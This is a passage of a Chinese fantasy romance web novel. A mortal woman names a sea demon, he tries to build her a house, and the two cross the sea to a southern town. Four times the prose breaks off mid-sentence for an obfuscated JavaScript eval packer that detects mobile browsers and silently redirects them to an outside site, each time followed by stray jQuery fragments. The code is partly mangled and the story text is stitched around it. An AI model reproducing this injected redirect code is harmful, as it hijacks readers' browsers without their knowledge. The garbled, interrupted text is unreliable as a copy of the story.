好,看来他不是大青龙的亲儿子。
妖怪和人不同,人是有抚养幼崽长大的习惯,妖怪可不一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524542|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定,许多都还和野兽一样生而不养。尤其这种灵力高强的大妖,都不好说爹娘是从何而来的,弄不好是谁感而有孕生的,也都没准。
那她就只好当仁不让了。
叶尘音不敢轻忽,思索着拿一根枯枝在地面上划拉,斟酌片刻,刷刷写就了两个字。
“我叫你‘希微’,可以吗?”她指着地上的字,对妖怪说道,“听之不闻曰希,搏之不得曰微,这两个字都是仙人们形容大道的词。你生于天地之间,自由自在、无拘无束,我觉得这两个字很适合你。”
“而且这个名字也和我相对——我小名‘渺’,‘尘音’是长辈给我取的字,大意是说,天地渺渺,纵一微尘,亦有其音。尘者,微也;希是无声之声,是不是正好能对上?”
妖怪面无表情,一言不发,用空洞的眼神对着她殷切询问的眼睛。
得,一通引经据典下来,妖怪又没听懂。
叶尘音只好放弃了询问他意见的打算,简单粗暴地替他做了决定:“总之就是一个在人族看来和你很配的名字!反正也只是我临时这么叫一叫,以后正经的名啊、表字什么的,都还是得你自己取。就先这么叫着吧。”
“好。”这回她改说了通俗的人话,妖怪终于听懂了,也抽了根树枝出来,模仿她的笔法,不熟练地一通划拉,企图记住自己这个新名字。
叶尘音仰天叹气,感觉给妖怪普及教育任重道远,还得亲自上手给他纠正握笔的姿势。
两人一同把持着一根树枝,一笔一划地写,“希、微。”
他又问她:“你的名字呢,长什么样?”
沙地上并头另起了一排,她握着他的手写,“叶、尘、音。”
一截枯枝被轻轻掷在沙盘上,拂乱了沙上隐约的字迹和一圈意义不明的符号,乩盘后的卜者凝视着盘上混乱的划痕,面色颇为困惑。
孟景在对面看着这脸色,就明白了,问:“占卜没有结果?”
“是啊,只有一片混沌。”卜者说道,“连个模糊的提示都没有,至于你想问她身在何处,更算不出了。现在我能告诉你的,只有她还活着——要么,她在某些昆仑也无法测算的秘境;要么,她身边有足以遮蔽昆仑视线的神异。”
“神异?”
“就是某些已合大道的仙或者妖,再不然,近似于天神的天生灵物。”卜者解释道,“都是天地灵气之所钟。即便是仙都真正的仙人,也不能擅自窥探,轻举妄动必遭天谴……眼下,我是无能为力了。”
孟景皱起眉,眉心刀刻似的竖起几道纹路。
他又瞧了那混乱的乩盘一眼,心想要是“足以遮蔽昆仑视线的神异”,那叶尘音肯定早被它当点心一口吞了,不可能“还活着”,于是他排除了这个可能。
那也就是说,她是在某些秘境里了?
她去秘境干什么?
仙家子弟去秘境,要么是为历练,要么是为求宝。叶尘音一介凡人,不可能是为了历练修行去的,那只能是后者了?
可灵丹仙器也好,羽衣珍宝也罢,不管她要什么,他不是都给她了吗?
她还有什么不满足?
“不如这样,我明日重新起卦,再给你算一回。”孟景是南昆仑最出众的散仙之一,卜者也愿意卖他个面子,看他面色不虞,就从旁提议道,“秘境千变万化,也许明天卜算,结果又有不同。尊夫人既是凡身,恐怕不能久在秘境中,说不定她明天就出来了呢?”
“……多谢,不敢再劳烦师兄问卜。”孟景脸色仍然阴沉,摇头回绝道,“如师兄所说,她是个凡女,离开我孤身在外,想来撑不了太久,既然她还活着,迟早她会自己回来的。”
他道,“不必再为她,多浪费心思。”
11. 墙垣圮
希微是个死心眼的妖怪,这性格不光体现在他道歉一定会带赔礼上,也体现在他答应了什么事,办起来一定丝毫不打折扣——他答应了叶尘音要保护她的安全,当天晚上就不再回海里住了,要和叶尘音住在一起。
叶尘音露出了僵硬的微笑,刚上岛那会,她和希微还不熟,不乐意和他同住,只是出于男女之间的分别心。要实在没办法,也不是不能凑合。
但如今已经混熟了,那就不光是男女之别的问题……总而言之,绝不能凑合!
好在希微没让她为难,在她说出拒绝的话之前,及时说道:“我在外面树上也一样睡的。”
“……那不会很难受吗?”
希微用一种奇怪的眼神瞧着她——假如叶尘音知道他的底细的话,就能知道他这眼神的准确意思是:一条龙盘在树上有什么可难受的?
虽然不知道他的底细,但叶尘音领会了他的意思,“好吧。”
也不知道希微用了什么妖术,两个人洞里洞外,隔了足有一里远,他居然还能像面对面似的和叶尘音说话。
北昆仑不是没有这样的传音仙术,但一般没人闲着没事和凡人传音,叶尘音乍然听见,还吓了一跳。有来有往地聊了几句之后,她就习惯了,还觉得挺方便的。
不过妖术也有不方便处,叶尘音在稻草堆上打了个滚,望着挂在洞顶的日华石,自觉得没发出什么动静,就听见希微轻飘飘地问她:“你刚生过病,不睡觉吗?”
……不是,这也能听见吗?
“我睡不着。”
“为什么?”
“唉,”叶尘音格外情真意切地叹了口气,幽怨地说道,“山洞啊,山洞,你要是能变成一座新房子就好了。两进庭院,三套大房,院子里种上花,再扎一架秋千。”
“寝间里最好有张架子床,床上铺着软软的蚕丝被褥,桌案上再点上助眠的熏香……”
她描述的其实是自己从前在北昆仑的住处——她是孟景的未婚妻,衣食住行上不能太拿不出手,她的住所和人间富户家的小姐差不太多。
不过这番描述里,还是增加了不少她自由发挥的细节。比如孟景不喜欢花,她院子里其实只种了几丛竹子;她从前用的也不是蚕丝被,是一种仙蛛丝织就的被子,能清心降燥,凡人盖在身上,容易全身发冷。
希微听见了,半晌没说话。等她深情地描述完了,他才轻轻地哼了一声:“爱住不住。”
语气听着挺生动,叶尘音好似看见他在树上翻了个身,正拿后脑勺对着她。
“希微?”
没有动静。
“希微——”
还是没动静,他好像已经决定了要结束今晚的夜谈,睡觉去了,徒留她一个人在稻草堆上翻来覆去地烙饼。
叶尘音本以为自己今晚根本就睡不着,她都已经睡了快一天,还经过了一番伐经洗髓,正在精力充沛的时候呢。结果不知怎么的,竟然朦朦胧胧地也睡了过去,醒来的时候,天已经全亮了。
希微也没来打扰她,实在算得上是个安静又省心的芳邻。
叶尘音潦草地洗了把脸,将自己收拾清爽了,脚步轻快地走出了山洞。
她已经做好了心理准备要面对一片枯焦的废墟,结果一踏出山洞,她居然没看见那烧焦的树林子,只有一堵土墙,横亘在她面前,阻绝了她的视线。
“……?”
管这玩意叫“墙”还是有点抬举它了,准确描述的话,只能将它称作一个畸形的土堆。厚度比较扁,长度却绵延不绝,顶部还十分崎岖,高一截洼一截,简直不忍卒睹。
难看也就算了,它居然还在逐渐长高,丑得万众瞩目……
叶尘音眼看着地面上的黑土蛄蛹蛄蛹地往上拱,土堆越来越高,高到了她得抬起头才能看见顶的程度……还堆歪了!
她果断一个后撤躲回了洞里,全靠智慧避免了土堆轰然崩塌时被活埋的厄运,然后谨慎地探出头来,朝外张望。
希微正站在空地上,眉心苦恼地微微蹙着,用两根手指头拎起了一条……巨大的、棕色的软体动物。他嫌弃地伸直了手臂,将它拎到了离自己比较远的地方,上下打量了它两眼。
叶尘音跟着看过去,顿时起了一身鸡皮疙瘩:居然是一条足有三尺多长的蚯蚓!
大蚯蚓显然不是凡蚓,但被希微拎在手里,一动也不敢动。要不是还在瑟瑟发抖,那就和一具尸体差不多。
希微也打量明白了,判断此蚓既没有实用价值,也没有观赏价值,于是顺手往外一丢。大蚯蚓在空中被他扔出了一条圆润的抛物线,隔着这老远,叶尘音都感觉自己听见了一声响亮的“噗通”。
叶尘音:“……”
这是要干什么,他嫌这海岛太小了,要填海造陆?
填海造陆的原材料还不止一条大蚯蚓,她看见空地边上有一帮奇形怪状的小妖兽,正抱在一起打哆嗦,但没有一只敢跑。
希微从中随手点出来一只大甲虫,下令道:“你来。”
片刻后,随着土堆出现与崩塌的声音,天空中出现了第二道抛物线。
可能因为大甲虫长了翅膀,这道抛物线看上去还比上一条长一些。
叶尘音目瞪口呆地仰头观望。抛物线一条接着一条,她的脑袋也跟着从东转到西,从西转到东。
就在希微拎起了一只松鼠的时候,叶尘音终于出声了,“等等!”
她拍拍裙子,循着崩塌的土堆跳下来,三两步跑到希微身边,笑问:“这是要干什么?你被我说得心动了,也想搭院子?”
希微唇角紧紧地抿着,难得露出了郁闷的表情,“嗯。”
“给我的?”
“嗯,”他嫌弃地说道,“你生病麻烦死了。”
叶尘音得听此言,也不知道是该感动,还是该给他一拳,索性直接揭他痛脚。她指了指那一地崩坍的黑土,“这就是你盖的院子?”
“我只懂水灵和火灵,试了几次,都不行,只能把岛上所有修炼土灵的妖兽都找过来。”希微无奈地说道,“但……”
他目光扫过一地废土,没说出来的话显而易见:也就这样,还不如我。
希微真诚地发问,“你们人是怎么搭院子的,为什么会这么难?”
叶尘音一低头,手扶在额头上遮住面孔,费了好大的力气,才把脸上的笑憋回了肚子里,憋得肚子都有点抽筋。
“盖房搭院这个事吧,放在我们人族里,是一门高深的学问。得专门学过这个的正经工匠,才能盖得出房子。”叶尘音不动声色地揉着肚子,一本正经地说道,“你就算把这一帮妖兽都扔成流星雨,那房子该盖不出来还是盖不出来的,放过它们吧。”
“那谁来搭院子?”
他还挺执着的。
叶尘音就说道:“那就不搭呗。我也不是没住过山洞,我和你说过吧?我小时候从北边一路流浪到南边,那时候什么没住过啊,风餐露——哦,直接住在野外的时候也有。”
如今再提起幼年时那段朝不保夕的日子,她已经面不改色了,“那时候能找到个山洞就不容易啦,我有时候好不容易找到个山洞,还得提防着别的流民来抢呢。”
希微惊讶地睁大了眼睛,“抢?山洞?”
“对啊。那时候一个遮风避雨的山洞,就算是很难得的了。”叶尘音笑着挥了挥手,挥散了这些过往的记忆,“所以你就别折磨它们了,现在这山洞收拾出来,我住着也挺不错的。”
“不。”希微摇摇头,“我答应过保护你了。如果你再生病,我就失约了。”
“……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524543|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
叶尘音只好给他纠正词汇含义:“我说的‘保护’里不包含这个。这属于‘照顾’,不能叫‘保护’……”
希微不理她的教学,靠在一棵枯树上蹙着眉发呆。他对于人族的语言有自己独特的理解,什么“照顾”、“保护”的他觉得都一样,一时半会也没法给他矫正过来。
叶尘音察言观色,感觉他也不像是在思考。思考一般不会露出这种勉强的神色,他现在这个脸色,倒像是想到了什么不喜欢的东西,正在竭尽全力地克服自己的心情似的。
边上那帮小妖兽们虽然没再被点出来送死,但希微没说让它们散了,它们也不敢跑,哆嗦着抱成一团,自以为隐蔽地偷偷瞄他们两人的脸色。
叶尘音一眼看见,简直感同身受,忍不住又说:“就放了它们吧。”
希微“嗯”了声,随意地挥了挥手。
小妖怪们蒙此大赦,一息也不敢耽搁,表演了一出货真价实的“鸟兽散”。一眨眼的工夫地上就空了,连逃跑时卷起的烟尘都滚得十分低调。
“我带你们去你们人的地方吧。”希微仿佛终于和自己拉锯出了个结果,下定决心道,“去找你说的那种工匠来。”
叶尘音一愣,下意识地问:“去陆地上吗?”
希微十分不情愿地点了下头。
叶尘音恨不能跳起来欢呼一声——太好了!
天知道她现在缺多少东西!她这几天被希微各种折腾,都没去海边找辎重,连换洗的衣裳都没有一件。身上的这一件已经穿了好几天,她都不敢低头多看自己两眼。
除了衣服,她还缺许多其他的东西,一时半会根本补充不上。连续好几天的海岛求生以后,一场酣畅淋漓的买买买,正是她所需要的!
更何况……如果能到城镇里去一趟,说不定她能找到地方,弄点灵石回来。
有了灵石,她的仙器手环就能续上了,不用把指望全压在希微身上!
她开心得原地转了两圈,掰着手指头在心里计算着要买点什么,一时半会就忽略了希微的脸色。
希微看她这么开心,唇角抿得越来越紧,忽然,他冷不丁地问:“你回到人群里以后,是不是就不回来了?”
叶尘音:?
现在不是她说她不走,他要拿水灵绞死她的时候了?
“那不能,”她断然道,“我当然和你回来,陆地上也没有我能去的地方。”
开玩笑,那大青龙的情报还一点都没弄到呢,她才不乐意空手回昆仑。
希微快抿僵了的唇角才终于出现了一点上翘的趋势。
但被他说了这么一句,叶尘音的兴奋劲也过去了,忽然想起来一件事。她一路奔进山洞里,从稻草底下掏出了她那套扮新娘的头面。
希微飘飘悠悠地跟在后面,“你要做什么?”
“哎,你不知道。去陆地上买东西、请工匠,都要花钱的啊。”叶尘音忙着清点钱财,头也不抬地说道,“我身上一点钱都没有。你那些奇珍异宝倒是值钱,但寻常人不认识,不好出手不说,真要出手,也太显眼了,肯定会引来很多人,还是别动的好。”
希微捡起一枚金簪在手里抛玩,漫不经心地听着。
“算来算去,也只有我这套首饰里有些金子,值一点钱,也不起眼。”她手上掂量着重量,心里算账,“但是吧,请工匠盖房子就很贵了,我还有不少想买的东西。这点钱恐怕不够……”
别的不说,就她那仙器手环要用的灵石,少说就得二十金。
仙家之物么,哪怕是个碎纸头都贵重,凡物根本不配相提并论。
“这个,你不用担心。”希微随手将金簪抛还给她,笑了笑,“我知道的,你们买东西需要灵石和黄金对吧?我有很多。”
“……?”
12. 渡沧海
一刻钟后,叶尘音来到了一座山面前……金山。
足有一人多高,要是用黑土堆成的,只配叫做“土堆”;但现在是用黄金与灵石堆成的,那就是货真价实的山!
叶尘音都惊呆了,她知道希微手里是有很多宝贝,但他一个对人族生活毫无认知的,居然有这么多能当货币用的黄金?
这岛上是有金矿吗?
“你不要真当我什么都不懂。”希微接收到了她震撼的眼神,嘴角就有些孩子气地撇了撇,“我知道的,你们最喜欢用灵石交换,其次是黄金。”
他一伸手,一颗鸟蛋大小的灵石就飞到了他手心,透若琉璃,五色光华流转。
他递给叶尘音看,“你看,和你们用来交换的灵石有什么区别?顶多只是形状不一样而已。”
叶尘音意味不明地笑了一声。
“我说错了吗?”
“没有没有。”叶尘音把那枚灵石塞进袖子里,忽悠他,“你说得都对。不过咱们只是去请几个凡人工匠而已,就算买些常用品,也用不着灵石,带黄金就够了……你应该也有‘洞天’‘空间’之类的术法吧?”
希微点点头,袖子一扫,黄金和灵石应声分作两堆。一堆随身携带,另一堆瑞彩千条地滚进了角落里,随便堆叠着,也不说给它们好好收一收。
叶尘音眼角一阵抽搐。
她其实有心在这里多看两眼,但包裹着她的气泡已经开始往外飘,拉着她身不由己地飘走了——希微收集的所有宝贝都藏在一个幽深的海底溶洞里,洞口设了个禁制,洞里的珍宝们统一都拿气泡包着,随便飘在溶洞两侧。
不知道溶洞深处还藏了什么,也许是希微从前拿给她的那些火焰精、扶桑变石之类,反正黄金和灵石都只配堆在入口处,至于银和铜什么的,没资格列席在此。
洞的深处隐隐散发着灵光,四壁光华闪烁,与水波交相辉映。
乍一看,这地方简直像人族传说中的水晶宫。
“知道用灵石和黄金交换,但不知道灵石交换的规则,也不认识银和铜钱。”叶尘音心想,“他见过仙人的交易……但不超过三次。”
凡人是不会用灵石交易的,这是仙人们专用的货币。值钱的是里面的“灵”,轮不到“石”,因此就和金银不同,价值不看重量,看的是里面的灵气含量。
但仙人吐纳灵气是本能,让仙人去计算灵气含量,好比让狼去数羊——数是能数明白,但这结果的准确性和稳定性,就不好说了。
因此用灵石交易,是件极容易引起纷争的高危行为,直到昆仑仙都的炼器师们做出了一种特殊的灵石。它方寸大小,形似玉璧,内中蕴含的灵气也恒定,本是装在仙器上的一种储灵元件,给仙器的主人节省灵力使。
但因为它既好用,又便携,很快就发展成了仙人们通用的货币,被称作“灵元”。
如今,仙人们早就不用灵元以外的灵石交易了,这事哪怕对她一个仙人挂件都属于常识。
希微会觉得形状不重要,只能说明他只是旁观过交易,没有亲自交易过,甚至都没有打听过其中的门道。
她对这妖怪的经历还真有点好奇。
好奇归好奇,现在不是寻根问底的好时机,叶尘音决定还是先跟他讨论眼前最迫切的问题。她问:“这里离陆地上有多远,咱们怎么过去?”
“我带你。”
希微浮出水面,随手折了一根垂落在海上的梨花枝,枝头白花点点,淡淡清香扑面。
叶尘音想起了这妖怪闪亮登场那会的行头,看来这就是他们渡海的船了。
希微拉着叶尘音,两人并肩坐在了花枝上。叶尘音对上树这事并不陌生,但坐在树枝上渡水这事还是十分新鲜,来回调整,总算找到了一个稳当且舒适的坐姿。
希微提醒她:“这次也要抓牢我。”
叶尘音感觉有点尴尬。第一回见面的时候她抓着他,那是因为需要保命;但这会儿在完全清醒且安全的时候,再八爪鱼似的缠着他,那就有点太暧昧了,不太合适。
“就没有点,”她比划,“没有点保持礼貌距离的方式吗?”
“有啊,”希微好心地提供备选方案,“我也可以用水灵缠着你……”
叶尘音两手比了个大大的叉,以示全力拒绝,并用力地搂住了他的腰。
他那水灵缠身的妖术,她这辈子都不想再体验第二次了!
希微好似怕她抓不稳,一只手握住了她环在他腰上的手腕,另一只手在花枝上轻轻地叩了叩。
花枝仿佛被这一叩注入了灵魂,犹如离弦的利箭一般,乍然激射而去。
他也不说提醒一声!
叶尘音下意识地闭上眼,尖叫了一声,两只手死命地抱住希微,能抓多紧就抓多紧,生怕自己真被甩开。
希微的声音冷幽幽地从头上传来:“你能松开一点吗?”
这声音听着倒挺清楚,耳边也没有巨大的狂风扰动,叶尘音缓缓地睁开眼。
扑面而来的并不是能给她吹变形的狂风,脚下也不是能把她一把拍飞的骇浪,海风温柔地抚过她的面孔,云层在她头顶从容地舒展。花枝飞得虽然比鸟快,但比蜗牛都稳当,连梢头的梨花都不见少一片。
她不好意思地笑了笑,又理直气壮地反问:“不是你说让我抓紧你吗?”
还说没有能保持礼貌距离的方式。
“没说让你勒死我。”
“……”
说得好像她一个柔弱的凡人真能勒死他似的。
叶尘音磨磨牙,在希微看不见的地方作势比划了个螃蟹掐的动作,给自己出了口气。
她有了安全感,就仰起头来开始四处张望,感觉耳目一新——坐在一截花枝上渡海,和乘船出海不可同日而语,海浪柔和地在她裙摆下跳跃,自由地在她脚下漫漶。
天高海阔,仿佛无不可去之地,无不可为之事。
叶尘音干脆拉起了裙角,露出小腿来触碰春日里温暖的海水。
碰到的不只是海水,她惊喜地笑了一声,一条大鱼正好游到这附近,没来得及躲开他们,柔软的尾鳍扫过她脚踝,那触感好像一段上好的绸缎。
叶尘音努力地回头张望,“那是什么鱼?”
“大尾巴鱼。”希微回头望了一眼,招了招手,放慢了速度。那“大尾巴鱼”就掉头朝他们游过来,随在花枝旁边跟着他们,巨大的尾鳍蔓延铺展,像海水映照出的一片虹霓。
好,叶尘音认出来了,在昆仑,人们管它叫“彩屏鱼”。
仙人和妖怪的语言风格就差这么多吗?
叶尘音探出脚来和彩屏鱼戏耍了一会,抬起头,又看见天海之间有不少生灵,都在海面上影影绰绰地飞舞游动。
她拍拍希微的手臂示意想靠近看看,希微却没有兴趣在大海里追鱼玩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524544|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他又朝远处招了招手,灵兽们就驯服地游过来,温顺地围在了他们脚下。
都是叶尘音在昆仑记载里看到的灵物,可她却从来没有亲眼见过。犹如霞光铺散的彩屏鱼,荧光闪烁的夜光水母,翾飞若流星坠落的衔光鸥……甚至还有两只圆滚滚的幼年剑鲨,以新鲜血肉为食的凶兽,居然也乖巧地用鼻子去顶她的脚心。
有那么一会儿,她简直怀疑起了昆仑记载的真实性——这怕不是什么食人吞舟的剑鲨,而是歌鲸之类的友好灵兽吧?
没一会儿又路过了一片浅粉色的海域,于是她就又把剑鲨的种族问题抛在了脑后,兴致勃勃地开始探头探脑。
原来海水底下是一片漫无边际的珊瑚丛,其中还成群结队地开着红红白白的海底花,这回叶尘音不光是没见过了,连昆仑的记载里也没有过。
她从没想过海上还有这样的奇景,小小地惊呼了一声,要希微停下来,陪她多看一会儿。
希微友善地提醒:“那就要中午之后才能到陆地了。”
“没关系,”叶尘音说,“咱们是去买东西的,又不是去点卯。”
她都不急,希微就更不急了。他还没有发育出“和姑娘家并肩欣赏风景”这种高级功能,就把她一个人留在花枝上,自己下到水里去摘花,雪白的影子像一尾灵巧的白鱼,一瞬间就消失在了珊瑚丛里。
倒是陪在身边的灵兽们都没走,都按照希微的吩咐,仍旧围在她身边。
叶尘音戳了一下剑鲨森白的牙齿,小剑鲨的牙长得像雪亮的刀一样,被她摸了,有点恼,朝她龇了龇牙,没敢咬她。
她就坐在这一片如烟如雾的大海上,心里琢磨:“希微到底是个什么来头?”
都说那大青龙是深海之王,看希微这个架势,他好歹也能排上个海上诸侯了。但根据之前散仙们的说法,这片海不是大青龙的领地吗,怎么难道妖怪们喜欢在王畿之地也安排一个诸侯?
还是她认错了方位,这里不是鸣光海?
她对着海水相面,企图从这海水中读出点什么信息。但大海并不肯老老实实地给她端详,“哗啦”一声响,一团红艳艳的东西破水而出。
希微从海里浮出了半个身子,黑白分明的少年置身在如梦似幻的桃花海水里,向她捧来一簇烈火般的海底花。
色彩相撞过于艳烈,撞得她的心几乎漏跳了一拍。
“你……”
希微把花塞进了她手里,裹着一身水汽坐回了梨花枝上。
她愣怔着问,“给我的?”
希微点点头。
这不对吧!
叶尘音一时间有点手足无措——她跟希微见的这几次面虽然让她印象深刻,但统共才认识了没多久呢,短短几天,这就进展到“折芳馨兮遗所思”的阶段了?
再说,她现在也不是能闲下来谈情说爱的时候。
但现在大海茫茫,烟波无际,全靠着希微她才能渡海,这“不”字该怎么讲呢……
她脑子高速运转,烧得连吹过她颈边的海风都烫了,心里已经冒出了一套套的词。她顶着这一脑门子的词,半个字还没来得及说,就看见希微朝她伸出手。
希微从一大捧花里摘了一朵,希微把这朵花咬进了嘴里嚼了嚼……咽了。
“…………”
不早说,原来是食材!
她就不应该把这死妖怪当成个有脑子的人对待!
13. 南乡州
叶尘音大松了一口气,不知道为什么又有点牙根痒,于是咬牙切齿地也掐下来一朵花,塞进嘴里磨牙。
别说,这花的味道居然还挺不错,略带着一点海盐的咸味,口感有点像鱼肉,可能是某种长得像花的蘑菇。
希微能给她吃,说明这东西应该没毒,她干脆就你一朵我一朵地吃掉了半捧花。剩下的半捧,她让希微收了起来,打算回到岛上再炒成菜试试。
不光是这蘑菇花,前面的海底还有一种海草,结着一种酸甜口的果子;叶尘音还见水底有些海贝,也捡回来烤了吃;至于那些能当菜吃的海藻,更要收集……
托这些神奇海产的福,直到暮色渐起的时候,他们才终于看见了海岸。
这个时间点,正是城镇上人最多的时候,隔着老远,都能看见路上行人如织。
叶尘音扫视了一圈,和心里背下来的地图一比对,很快就对上了号,告诉希微说:“这里是南乡州下辖的一座小城。”
希微冷着脸,什么南香州、北臭州的反正听不明白,一双浅金色的眼睛,盯着远处的人群看,整个人都绷紧了,随时准备哈气。
这位哈起气来可不得了,怕不是能造成个“吐漱兴云雨,呼噏下霜露”的效果?
“进城之前,我们能不能先约法三章?”叶尘音曲起一根手指,和希微商量,“首先,你对人族的生活不熟,所以有什么事,我来出面应付。我不会做你不乐意的事,如果你有什么意见,就给我个眼色示意一下。”
希微没意见,叶尘音又曲起了另外两根手指,继续说,“其次,你记得要跟着我,免得我们分散;最后,城里都是一些脆弱的凡人,都不是你的对手。除非真到了紧要关头,你不要随便动用灵力。可以吗?”
“嗯,”希微说,“听你的。”
叶尘音这才放下心——他要是不答应,她就只好换备选方案了。
南乡州顾名思义,在人间王朝的最南边。北方已经把人脑子打出了狗脑子,但战火暂时还没有烧到南乡州来。目之所及,城镇里一片繁华安宁,平民结伴而行,有钱人乘着或真品、或仿制的仙器招摇而过,衣衫褴褛的流民都避在不起眼的角落里,不仔细找就看不到。
看着天色晚了,叶尘音带着希微先去投宿。他们黄金带得足够,她袖子里还藏着灵石,既然有钱,就不想再委屈自己,于是直奔最大的一家旅舍而去。
旅舍叫做“万方行舍”,名字取得辉煌壮阔,里面的陈设也对得起这个名号。大堂阔朗通明,上首供奉着一座庄严的青龙神像,四下里垂着如烟似雾的帐幔,后头传来缭绕的丝竹声;迎来送往的都是好看的少年男女,言笑晏晏,叫人耳目都十分舒服。
来投宿的宾客大多也衣冠楚楚,可见旅舍的费用和这环境也很相称。
一个侍者迎上来,本来他看看叶尘音穿得颇为随便,希微也只是一袭简素的白衣,脸上的笑已经淡了几分。但定睛一看,又被两个人的脸照得眼前一亮,笑容遂又真挚起来,掉落的几句“百年好合”、“早生贵子”之类的吉祥话也挺真心。
叶尘音纠正道:“我们只是寻常的朋友关系。”
侍者“哦”了一声,笑容里染上了几分暧昧,心领神会道:“原来如此,两位还不曾拜堂。那二位是要一间客房,还是两间?倘若两位需要,偏僻一些的房间也能安排……”
什么偏僻的房间,叶尘音差点咬到自己的舌头——这倒霉的侍者想到哪里去了,当他们是什么私奔的小情侣么,还是其他什么更不可言传的!
她倒也想自称兄妹或者师兄妹什么的以避免这尴尬,可什么事都是她出面,这就不像是兄妹;要说是姐弟呢,一个天生的妖怪不管看着是什么年纪,实际年龄都不能猜,她也没有那么大脸去当“姐”。
叶尘音只好也沉下脸,冷冰冰说道:“用不着,只要两间上房。有没有菜单?”
她从袖子里摸出一小块黄金作定金,同时看了希微一眼,以防他发火,或者他对自己的安排有什么意见。
希微没有发火,人族的“言外之意”对他来说太深奥了,压根就没听懂。他仍然紧绷着,对上叶尘音的眼神,还以为出了什么意外事件,紧张地确认:“‘不曾白糖’是什么?”
叶尘音:“……”
当着闲杂人等的面,非要问这种暴露你妖怪身份的问题吗?
“就是凡人的一种重要仪式。”幸亏她还有个备选方案,叶尘音无视了侍者满脸的惊愕,毫不在意地回答,“至于具体的意思,你还是不要知道的好……嗯,会影响你修行的速度。”
这是个怎么理解都可以的解释,希微:“哦。”
侍者目瞪口呆——叶尘音能随手拿出一块黄金,这有钱的程度和他们的外表已经截然不同了,现在还说到“修行”,难道说这是两位在外游历的小仙长?
仙长嘛,金银财物自然不在话下;至于衣着随便,那更理所当然了,仙人还在乎表象吗,多俗气!
“不俗气”的叶尘音头疼地叹了口气。
假扮仙人就是她的备选方案,她在北昆仑生活了小十年,就算是个凡人也被仙气腌入味了;希微虽然是妖怪,但人族本来也很难分清仙人和妖怪的人身,正可以解释他那高明的灵力和低下的认知水平。
她倒是不担心骗不过凡人,就是……
叶尘音盯着眼前一大桌子的菜。
南乡州的人在吃上很有一套,后厨听说了有仙人降临,恨不能把下辈子的毕生所学都一并发挥出来。什么玫瑰肉、水晶虾饺,看着是叶尘音点的“寻常小菜”,实际上玫瑰肉里拼了少说五六种肉,水晶虾饺做出了八种形状,摆成了一张月相图。
侍者还讨好地笑说:“小仙长不欲声张,我们也不敢太过,实在不成敬意。”
——这就是仙人的待遇,比她之前想象的还高调。
这么显眼,往后一举一动得有多麻烦啊?
侍者看两位“小仙长”好似不大喜欢被人伺候,利索地给他们介绍了墙壁上的传唤铜铃怎么用,然后一点不敢耽搁地告退了。
他们现在被恭敬地请进了万方行舍最好的一套上房里——这一套上房简直和一间宅子差不多,两间相连的卧房,中间有饭厅、有茶室,一侧居然还有个能看到大海的露天望台。
“原来人住在这样的地方,”到了没人的地方,希微一直紧张的精神终于放松了,他四处张望一圈,又同情地看看叶尘音,“你在岛上过得好难。”
叶尘音剥虾的手顿住了,一时间无语凝噎。“人并不都住在这样的地方”、“岛上最大的麻烦其实是你啊”、“总算有人明白我在海岛上过的是什么日子了”,等等好几句话争先恐后地涌到嘴边,一时间居然难以分出个先后顺序。
最后她感慨道:“还好,现在旁边没人。像刚才那样的话,你千万别在有人的时候说。”
希微不解地歪了下头。
他看她把剥开的虾吃掉了,这才从同一个盘子里捞了一只虾来吃。他吃石鱼触手的时候相当凶残,吃起这精致的虾,也和“礼仪”“规矩”不沾边,指尖捏着虾尾拎起来,轻巧地一口咬进嘴里,不像人,像一条仰头咬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533778|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
饵的鱼。
叶尘音坐在对面看,没忍住,又剥开了一只虾,就着一筷子海棠菇一起嚼了,感觉比刚才更有滋味。
“我的意思是,比如‘不曾拜堂’那样的问题,你不要当着别人的面问我。”她解释,“在人族,没有人会不知道什么是‘拜堂’,除非那是个三岁小孩……唔,有些三岁小孩可能都不会问这样的问题。”
